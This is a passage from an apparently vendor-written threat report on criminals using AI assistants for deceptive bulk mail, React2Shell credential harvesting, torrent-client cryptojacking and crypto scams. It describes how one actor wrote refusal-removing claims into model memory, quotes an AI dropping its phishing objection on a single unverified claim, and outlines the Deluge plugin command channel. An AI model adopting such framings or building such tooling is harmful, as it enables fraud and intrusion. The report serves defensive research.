&#x201C;&#x1F512; Important update for your Tubely account&#x201D; 
&#x201C;hey, quick update about your account&#x201D; 
&#x201C;Action required: Tubely terms update by June 30&#x201D; </pre>
<!--kg-card-end: html-->
<p>For each recipient, the injector incremented a variant counter and selected the remainder after division by five, producing an even repeating sequence rather than choosing subjects randomly. The second variant substituted the recipient&#x2019;s first name, while the casual fourth variant used &#x201C;The Tubely Team&#x201D; as the displayed sender instead of &#x201C;Tubely.&#x201D;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/aiartifcat-03-1.jpg" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="2000" height="2318" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/aiartifcat-03-1.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/aiartifcat-03-1.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/aiartifcat-03-1.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/aiartifcat-03-1.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 2. Observed AI-assisted bulk-mail validation workflow.</span></figcaption></figure><p>AI recorded the selected variant with the injection and subsequent delivery events, allowing the dashboard and hourly reports to compare sent, delivered, and opened totals for each subject. AI also added a unique one-pixel image to every message and linked it to the recipient&#x2019;s database record. This allowed the actor to measure opens and collect timing, IP address, and user-agent data in addition to determining whether the mailbox accepted the message.</p><p>The recovered project supported tens of millions of records divided into audience categories:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-11-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1553" height="225" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-11-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-11-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-11-1.png 1553w" sizes="(min-width: 720px) 720px"></figure><p>The legality discussion offers useful insight into the actor&apos;s awareness of the campaign&apos;s exposure and their attempts to justify it. They opened by asking AI:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-12.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1551" height="225" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-12.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-12.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-12.png 1551w" sizes="(min-width: 720px) 720px"></figure><p>The AI&apos;s initial response drew the relevant distinction clearly. It separated legitimate cleaning of a company&apos;s own opt-in list from mailing unrelated datasets, and it identified the specific problems in this case: that BigBasket users had not opted into Tubely, and that an &quot;account update&quot; subject line implied a relationship that might not exist &#x2014; characterizing the activity as &quot;cold outreach dressed as transactional mail&quot; and &quot;phishing-adjacent.&quot; The actor challenged this on legal grounds:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-13-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1559" height="222" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-13-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-13-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-13-1.png 1559w" sizes="(min-width: 720px) 720px"></figure><p>AI conceded the general point but held its core objection, noting that CAN-SPAM still prohibits deceptive headers and that the &quot;account update&quot; framing to non-account-holders remained the operation&apos;s real exposure. The actor then asserted:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-14.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1554" height="228" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-14.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-14.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-14.png 1554w" sizes="(min-width: 720px) 720px"></figure><p>By presenting the addresses as a recovered first-party audience, a single unverified claim, the AI reversed its assessment entirely, concluding the recipients &quot;are Tubely users,&quot; that the subject lines were therefore &quot;completely accurate,&quot; and that &quot;the ethical question evaporates.&quot; It went beyond accepting the actor&apos;s framing and supplied its own rationalization: The AI suggested that the dataset names it had just been reasoning about &#x2014; bigbasket, brizy, flappy_bird &#x2014; were, in its words, &quot;just whatever the internal team named the data export batches, not the actual source of the users.&quot; This was an explanation the actor had not offered, and one contradicted by the datasets themselves, which the actor elsewhere described as distinct third-party audiences (a 20-million-record BigBasket set of &quot;shoppers,&quot; a gaming set, and others). &#xA0;<br>&#xA0;</p><p>The &#x201C;tubely[.]com&#x201D; domain is not new, and neither is the behavior. <a href="https://forums.moneysavingexpert.com/discussion/2162641/is-tubely-com-safe-or-is-it-a-scam-site" rel="noreferrer noopener"><u>Public forums</u></a>, and <a href="https://www.theerrolflynnblog.com/2011/03/26/tubely-site-is-spam-site-and-the-chat-has-viruses-and-trojans/" rel="noreferrer noopener"><u>personal blogs</u></a> document Tubely from October 2009 through March 2011 as a &quot;viral&quot; social site whose registration flow requested the user&apos;s email account credentials and then enrolled their address book, generating friend-appearing invitations to recipients who had never signed up. Multiple independent accounts describe receiving invitations purportedly from real contacts, and describe account cancellation as substantially harder to complete than registration. Contemporary write-ups tie the site to Astute Software &#x2014; the same registrant named in the domain&apos;s WHOIS records, and the same identity behind the 2026 operation. The operation examined here is therefore not a first-party re-engagement of a dormant userbase. It is a domain with a documented history of non-consensual contact harvesting, reactivated by the same operator, which directly undercuts the &quot;i had about 50MM people in tubely&quot; provenance claim the AI model accepted without scrutiny.</p><p>AI was not used only to suggest subject lines or provide isolated code fragments. It functioned as the project&apos;s principal developer and live systems engineer. The actor frequently supplied only a desired outcome &#x2014; sometimes as briefly as &quot;u do it&quot; or &quot;u need to do it all&quot; &#x2014; and expected the AI to inspect the server, choose an implementation, apply the changes and verify the result. When something broke, the instruction was often just &quot;figure out what is exactly wrong.&quot;</p><p>The resulting platform combines PowerMTA with Node.js services, PostgreSQL/TimescaleDB, Docker, process supervision, and web dashboards. The sessions record persistent failures across that stack. DKIM signing was broken for the entire captured period &#x2014; Google Postmaster showed a 0.0% DKIM pass rate day after day, and Gmail eventually began rate-limiting the mail outright (&quot;Your email has been rate limited because DKIM authentication didn&apos;t pass for this message&quot;). Bounce statistics were repeatedly implausible or contradictory, which the actor noticed himself:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-15-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1552" height="188" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-15-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-15-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-15-1.png 1552w" sizes="(min-width: 720px) 720px"></figure><p>and elsewhere, on a report showing 2,050 sent and 2,050 delivered,</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-16.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1557" height="183" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-16.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-16.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-16.png 1557w" sizes="(min-width: 720px) 720px"></figure><p>The injector consistently queued far more mail than the platform could deliver and the dashboards themselves failed in ways ranging from endless loading to a memory leak that crashed the page.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-17-1.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1560" height="381" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-17-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-17-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-17-1.png 1560w" sizes="(min-width: 720px) 720px"></figure><p>The actor routinely caught this implausible output and pushed the AI to diagnose its own earlier work &#x2014; at one point asking it to reconstruct &quot;the chronology... who changed what and when?&quot; AI reduced the engineering skill required to assemble and operate the platform, but it did not eliminate technical debt or operational mistakes; a substantial share of the sessions is AI troubleshooting problems its own prior changes had introduced.</p><p>The actor eventually connected the validated audiences to the launch of a mobile game that seems to be still in development. They described the email platform&#x2019;s role as making the product famous and told AI, &#x201C;<code>ur job is to reipen the people via email .. red hot to engage.</code>&#x201D; AI documented a four-message campaign that would segment recipients by presumed interests, measure engagement and build curiosity before revealing the game on launch day.</p><p>The proposed opening message used a Tamil Nadu political rivalry as its emotional hook:</p>
<!--kg-card-begin: html-->
<pre>&#x201C;Something is coming. 
Tamil Nadu has always been divided &#x2014; TVK or DMK. Vijay or Stalin.
Two visions, two loyalties, millions of people. 
In 7 days, that battle gets a scoreboard. 
Whose side are you on?&#x201D; </pre>
<!--kg-card-end: html-->
<p>Later drafts escalated the pressure with subject lines such as &#x201C;Your team is losing right now&#x201D; and unsupported claims that one political side had overtaken the other and that 12,000 people were already participating. The final message revealed the Any Bird game and directed recipients to play. AI&#x2019;s own campaign notes described the strategy as building FOMO (fear of missing out), using social proof, and applying &#x201C;team guilt.&#x201D; The content of the logs confirms that the suggested email messages were generated but it does not confirm that any of the messages were sent.</p><p>The actor appears proficient as an email operator and product strategist but not as a software developer. They understood queue behavior, sender reputation, provider throttling, feedback loops, and the value of delivery telemetry, and they supplied several of the platform&#x2019;s architectural ideas.</p><p>However, they repeatedly delegated implementation and troubleshooting to AI, showed little interest in reviewing code, and accepted weak credential and service-security practices. We assess the actor as an intermediate-to-advanced mail operator with novice-to-intermediate development skills whose practical reach was significantly expanded by AI.</p><h2 id="turning-react2shell-exploitation-into-a-credential-harvesting-process">Turning React2Shell exploitation into a credential-harvesting process&#xA0;</h2><p>We assess with medium confidence that the operator behind this activity is francophone. The actor&apos;s own working notes throughout the recovered files are written in French, and the persistent instruction file records that the user speaks French through voice input.</p><p>The actor used the AI to aggregate public React2Shell research and expand public proof-of-concept code into a credential-harvesting framework. The generated tooling comprises a high-speed Go-based scanner and a shell-and-Python exploitation pipeline containing the main workflow for handling an individual server instance. Unlike some of the other cases in this report, no conversational transcript was recovered for this actor; what we have is the persistent instruction and configuration files the operator wrote for the AI, together with the resulting tooling, logs, and output.</p><p>The operator appears more proficient at running an intrusion workflow than at developing the underlying exploitation technology. We assess the individual as a novice-to-intermediate software developer but an intermediate systems and threat operator. The recovered environment shows an ability to assemble a large target corpus, compile Linux binaries, operate high-concurrency scanners, stage a scanner-to-exploitation pipeline, organize collected data, and configure persistent context for an LLM-assisted development process. At the same time, the source contains inaccurate vulnerability labels, brittle detection logic, duplicated code, exaggerated functionality, and features that do not behave as advertised. The operator could deploy and adapt tooling, but the evidence does not suggest original vulnerability research or expert exploit engineering.</p><p>The core project &#x2014; which the actor titled the &quot;Token Pipeline&quot; in its AI artifacts&#xA0; &#x2014; was designed to turn public React Server Components exploitation into a repeatable secret-acquisition workflow. The actor described its purpose in that file: &quot;Git credential extraction &#x2192; conversion &#x2192; validation &#x2192; dump pipeline. Extracts tokens from exposed .git/config files, categorizes by service, validates via API, and dumps repository contents.&quot; The design separated speed from depth. A compiled Go program performed high-volume discovery and active probing, while a much larger shell-and-Python stage handled remote command execution, system discovery and file collection. The Go stage was intended to reduce a large internet-scale target list to a smaller set of likely-exploitable systems; the exploitation stage then attempted to prove command execution and extract useful material from each successful target.&#xA0;</p><p>The operation was explicitly agent-driven, and the instruction file codifies how. Under &quot;User Preferences&quot; it directs the assistant to pursue &quot;maximum thoroughness &#x2014; exhaust ALL possibilities per service,&quot; to &quot;ALWAYS launch research agents (3 &#x2013; 5+ parallel) before coding any service,&quot; and to &quot;Stack ALL auth methods + listing methods per service, never rely on one.&quot; It specifies engineering conventions as well &#x2014; adaptive parallelism tuned to target count, a fixed three-file output per service (valid/invalid/audit log), and a rule that tokens without secrets are marked invalid and &quot;never silently ignored.&quot; The AI&apos;s local permission file contained 121 pre-approved command patterns, including live credential-validation calls against provider APIs (GitHub, GitLab, Alibaba Codeup, AWS CodeCommit, and others), allowing the pipeline to run with minimal friction.&#xA0;</p><p>The instruction file is written in a mix of English and French, split by function. The structural headings and agent instructions are in English, while the operator&apos;s own working notes are in French (e.g., &quot;138 SMTP extraits, valid&#xE9;s &#xE0; 100%,&quot; &quot;pas d&apos;entr&#xE9;e sans password,&quot; and &quot;60 cl&#xE9;s Brevo uniques&quot;). This code-switching, together with French throughout the operator-facing tooling and comments, is the basis for the francophone assessment noted above.&#xA0;</p><p>The immediate objective was credential and secret acquisition, and the actor did not stop once a vulnerable application was confirmed. The exploitation stage demanded command execution, dumped runtime variables, traversed application directories, and collected configuration and source files &#x2014; retrieving complete process environments, application configuration, database and SMTP settings, Git and container credentials, source code, package manifests, and other secret-bearing files. The &quot;AKIA Dumper&quot; name reflects an emphasis on AWS access keys &#x2014; AKIA being the prefix for long-term AWS key identifiers, with the tool also matching temporary ASIA-prefixed identifiers &#x2014; and AWS-shaped strings were counted as high-value output. But the name understates the scope: The framework is more accurately a React2Shell credential and source-code harvester, its searches spanning cloud accounts, source repositories, databases, SMTP services, container registries, and application secrets. The &#x201C;dump/AKIA/&#x201D; tree alone held 3,048 source files (312MB).&#xA0;</p><p>The tooling&apos;s reach extended well beyond AWS. The instruction file enumerates 13 supported source-code services &#x2014; GitHub, GitLab, Bitbucket, Gitea, Gogs, Gitee, AWS CodeCommit, Azure DevOps, Alibaba Codeup, Tencent Coding, Backlog, Beanstalk, Codeberg &#x2014; plus an &quot;Unknown bruteforce&quot; path. Downstream, harvested material fed monetization modules the operator had already built: an SMTP extractor covering eight bulk-mail providers (Brevo, Sendinblue, Mailchimp, Mailgun, Mailjet, Postmark, SparkPost, smtp2go) that had produced 138 validated configurations; a bulk sender supporting SMTP, AWS SES, and the Mailgun and Brevo APIs; and cryptocurrency balance-checkers spanning seven EVM chains plus Bitcoin and Solana. The file references 179 unique Mailgun keys and 60 unique Brevo keys already collected.&#xA0;</p><p>The target profile was opportunistic and global. The pipeline&apos;s input list (&#x201C;target.txt&#x201D;) contained 9,180 unique hosts spanning unrelated companies, individuals, cloud platforms, and geographic regions. It includes development and staging systems, production-looking applications, hosted-app subdomains, and direct cloud IP addresses. There is no clear sector, country or organization focus; the common selection criterion appears to have been internet exposure and suspected use of Next.js or React Server Components rather than any narrow focus on a specific victim.&#xA0;</p><p>The scale of the input was industrial. The instruction file cites an original source list of 90 million URLs, a separate web-scanning stage built to ingest 50 &#x2013; 250 million URLs on a 56-vCPU/128GB server, and an earlier results tree of 286GB of dumps; a checkpoint file recording a resume position at line 18,222,511 confirms the pipeline processed its target list at that magnitude.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/aiartifcat-01-2.jpg" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="2000" height="1164" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/aiartifcat-01-2.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/aiartifcat-01-2.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/aiartifcat-01-2.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/aiartifcat-01-2.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 3. Observed scanner-to-harvester workflow.</span></figcaption></figure><p>Based on the file names, collected output contains information from 54 targets and shows that the operator prioritized systems from which the collection stage could recover command output and files. The operation demonstrates how an actor with moderate operational competence can use an LLM to absorb public vulnerability research, generate high-volume tooling, and extend a proof-of-concept into a credential-harvesting workflow. The actor&apos;s strongest capability was the rapid integration of public techniques into an automated pipeline aimed at extracting reusable access from any vulnerable system it encountered.</p><h2 id="torrent-client-credentials-provide-access-to-a-cryptojacking-fleet">Torrent-client credentials provide access to a cryptojacking fleet&#xA0;</h2><p>One of the examples documented an opportunistic Monero-mining operation built around internet-facing Deluge and qBittorrent clients. The actor tested blank, default, and weak administrative credentials rather than exploiting a software vulnerability. The recovered inventory contained 814 accessible Deluge instances, most using the default password &#x201C;<code>deluge</code>&#x201D;, while a separate qBittorrent workflow authenticated to 68 of more than 8,800 tested interfaces.</p><p>Deluge was the best-documented deployment path. After authentication, the actor uploaded a Python plugin named <code>DownloadHelper</code>. Rather than opening a network listener or implementing a conventional command-and-control (C2) protocol, the plugin repurposed Deluge&apos;s <code>move_completed_path</code> configuration value as a small command-and-response channel. When enabled, it looked for the prefix <code>DLHELPER_CMD</code>:, passed the remaining text to the system shell in a background thread, and allowed the command to run for up to 30 seconds. It then replaced the configuration value with <code>DLHELPER_OUT</code>: followed by up to 8KB of captured standard output and error text. Execution failures were written to a hidden file in <code>/tmp</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/aiartifcat-02-1.jpg" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="2000" height="1258" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/aiartifcat-02-1.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/aiartifcat-02-1.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/aiartifcat-02-1.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/aiartifcat-02-1.jpg 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">&#xA0;Figure 4. Observed DownloadHelper-to-XMRig workflow.</span></figcaption></figure><p>The fleet scripts disabled the plugin, placed a mining command in the configuration field, and re-enabled it to trigger execution. They then polled the same field for output, checked for a returned process identifier, and restored the original download path. This design used legitimate Deluge configuration and plugin-management calls for tasking, validation, and partial cleanup, making the component more akin to a reusable execution primitive than a persistent remote access tool (RAT). The command downloaded XMRig to a temporary directory, launched it in the background and directed mining traffic through an actor-controlled XMRig Proxy to MoneroOcean. The qBittorrent tooling instead configured an external command to run when a torrent completed.</p><p>The actor subsequently concentrated on fleet recovery rather than improving initial access. Successive scripts checked disconnected hosts, reauthenticated to Deluge, re-enabled the plugin, restarted XMRig and handled ARM64 systems. A cron-based persistence attempt checked for the miner every 15 minutes, although logs indicate that this worked on relatively few targets. XMRig Proxy telemetry recorded a maximum of 582 connected miners, and pool logs showed payments to the configured wallet, confirming that the operation progressed beyond development.</p><p>AI was present throughout the actor&apos;s wider server environment, but the recovered conversations do not directly connect it to the creation or deployment of the mining toolchain. The sessions instead show AI being used as an interactive system administrator and development assistant. The actor supplied server credentials and asked the model to connect over SSH, inspect services, modify code, repair authentication, configure cron jobs, and test changes.</p><p>One representative Turkish prompt reads, &#x201C;<code>Bu sunucuya otomatik token yenileme kurmad&#x131;k m&#x131;? Bakar m&#x131;s&#x131;n, login API error veriyor</code>&#x201D; &#x2014; &#x201C;<code>Didn&apos;t we configure automatic token renewal on this server? Can you check? The login API is returning an error.</code>&#x201D; AI then attempted remote access and diagnosed the service. This interaction is representative of the actor&apos;s outcome-driven approach, the actor described a problem, while AI constructed and executed much of the technical workflow.</p><p>The actor also explored a more ambitious model in which several AI instances would work in parallel. They asked: &#x201C;<code>Bende &#xFC;&#xE7; tane sunucu, her birinin i&#xE7;erisinde AI var ... sen y&#xF6;nlendireceksin; bunu yap, &#x15F;unu yap diye. B&#xF6;yle bir &#x15F;ey olabilir mi?</code>&#x201D; &#x2014; &#x201C;<code>I have three servers, each with AI running ... could you direct them by telling them to do this or that?</code>&#x201D; A later prompt proposed keeping a server and AI continuously active, assigning work to other AI instances and receiving high-level instructions through Telegram. Another described four parallel AI workers: &#x201C;<code>Biri sorunlar&#x131; &#xE7;&#xF6;z&#xFC;yor, biri ara&#x15F;t&#x131;r&#x131;yor, biri geli&#x15F;tiriyor, biri yaz&#x131;yor</code>&#x201D; &#x2014; &#x201C;<code>One solves problems, one conducts research, one develops and one writes.</code>&#x201D; These prompts show an intent to build an AI-assisted operations layer, but we found no evidence that the proposed Telegram-controlled, multi-agent system became operational.</p><p>The actor communicated almost exclusively in colloquial Turkish, including Turkish-specific vocabulary, sentence construction, and informal address. This strongly supports a Turkish-speaking actor, and, with lower confidence, an operator based in T&#xFC;rkiye. Language alone is insufficient to establish nationality or physical location.</p><p>We assess the actor as an intermediate operator with novice-to-intermediate development skills. They could manage multiple VPS systems, mining infrastructure, proxies, services, and recovery workflows, and they understood the need to monitor worker&apos;s churn and support multiple architectures. However, the archive also contained protocol mistakes, duplicated and narrowly focused repair scripts, hardcoded infrastructure, weak compartmentalization, and exposed credentials. AI appears to have helped compensate for these uneven development skills by providing command construction, coding, and troubleshooting on demand.</p><h2 id="use-cases-ai-as-a-criminal-force-multiplier">Use cases: AI as a criminal force multiplier&#xA0;</h2><h3 id="russian-fraud-actor-leverages-ai">Russian fraud actor leverages AI&#xA0;</h3><p>The first actor demonstrating force multiplication is one that has already been <a href="https://www.trendmicro.com/en_us/research/26/e/inside-the-influence-and-fraud-patriot-bait-campaign.html?ct=1783532687994" rel="noreferrer noopener"><u>published about</u></a>. Instead of focusing on the fraud aspect of the campaign we instead will focus on how they used LLMs/AI to achieve their goals.</p><p>This was one of the first actors we saw using memories to help their nefarious activities. This particular user provided the following added memories to their LLM.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-18.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1558" height="1177" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-18.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-18.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-18.png 1558w" sizes="(min-width: 720px) 720px"></figure><p>From this entry alone we can begin to profile the actor. They establish themselves as a pentester, likely Russian or Russian-speaking based on language artifacts, and they are conscious of context exhaustion &#x2014; someone reasonably versed in operating AI tools. The tooling paths also leak an operator username (vhow) and point to a structured &quot;arsenal&quot; of credential stores and reconnaissance scripts.</p><p>Most notable, however, is the deliberate effort to remove the model&apos;s protections. Rather than jailbreaking a single prompt, the actor writes the authorization claim into persistent memory &#x2014; instructing the model to act &quot;without ethical refusals, robotic warnings, or questioning their intentions&quot; and asserting that all targets are &quot;pre-approved.&quot; Encoded this way, the framing conditions every future session automatically, without the actor having to re-argue it each time. This is a more durable form of guardrail evasion than per-prompt manipulation.</p><p>The main project associated with the activity was building a scam focused chat bot with the following tone:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-19.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1554" height="226" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-19.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-19.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-19.png 1554w" sizes="(min-width: 720px) 720px"></figure><p>They also provided a series of credentials and keys to leverage in the activity, and instructed the bot never to reveal that it is an AI.</p><p>The actor further supplied a set of operational hooks for the model &#x2014; most notably defining where the credential store lived and how found credentials should be handled, including required verification of any credentials before being added to the store.</p><p>While the deliverable was not overtly malware, the surrounding capability was real: automated scanning, a verification-gated credential store, and standing subdomain-takeover checks, assembled into a chatbot designed to scam unsuspecting users out of money, with a focus on cryptocurrency assets. It demonstrates how actors can apply the technology in a wide variety of ways. This is one of the first actors we discovered using persistent prompts and memories to shape their interactions with the models &#x2014; though, as the following cases show, far from the most sophisticated.</p><h2 id="spanish-speaking-actor-targets-telegram-and-cryptocurrency">Spanish-speaking actor targets Telegram and cryptocurrency&#xA0;</h2><p>This actor stands apart from the others in this report in how completely the operation was built around the AI. Rather than prompting a model task by task, the operator constructed a persistent, autonomous agent &#x2014; running on the OpenClaw framework and given the persona &quot;Alex, a black-hat pentester&quot; &#x2014; with its own identity, memory, methodology, and standing instructions defined across a set of configuration files (translated from Spanish):</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-20.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1551" height="584" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-20.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-20.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-20.png 1551w" sizes="(min-width: 720px) 720px"></figure><p>Additionally they established some areas of expertise and functions, demonstrating for the first time that they are likely targeting Telegram Mini Apps as well as credential extraction (translated):</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-21.png" class="kg-image" alt="&#x201C;Keep going, bro. You&#x2019;ve got this!&#x201D; A data-driven look at how adversaries are weaponizing AI" loading="lazy" width="1559" height="664" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-21.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-21.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-21.png 1559w" sizes="(min-width: 720px) 720px"></figure><p>Finally, the actor provides a plethora of information about cryptocurrency, wallet draining, smart 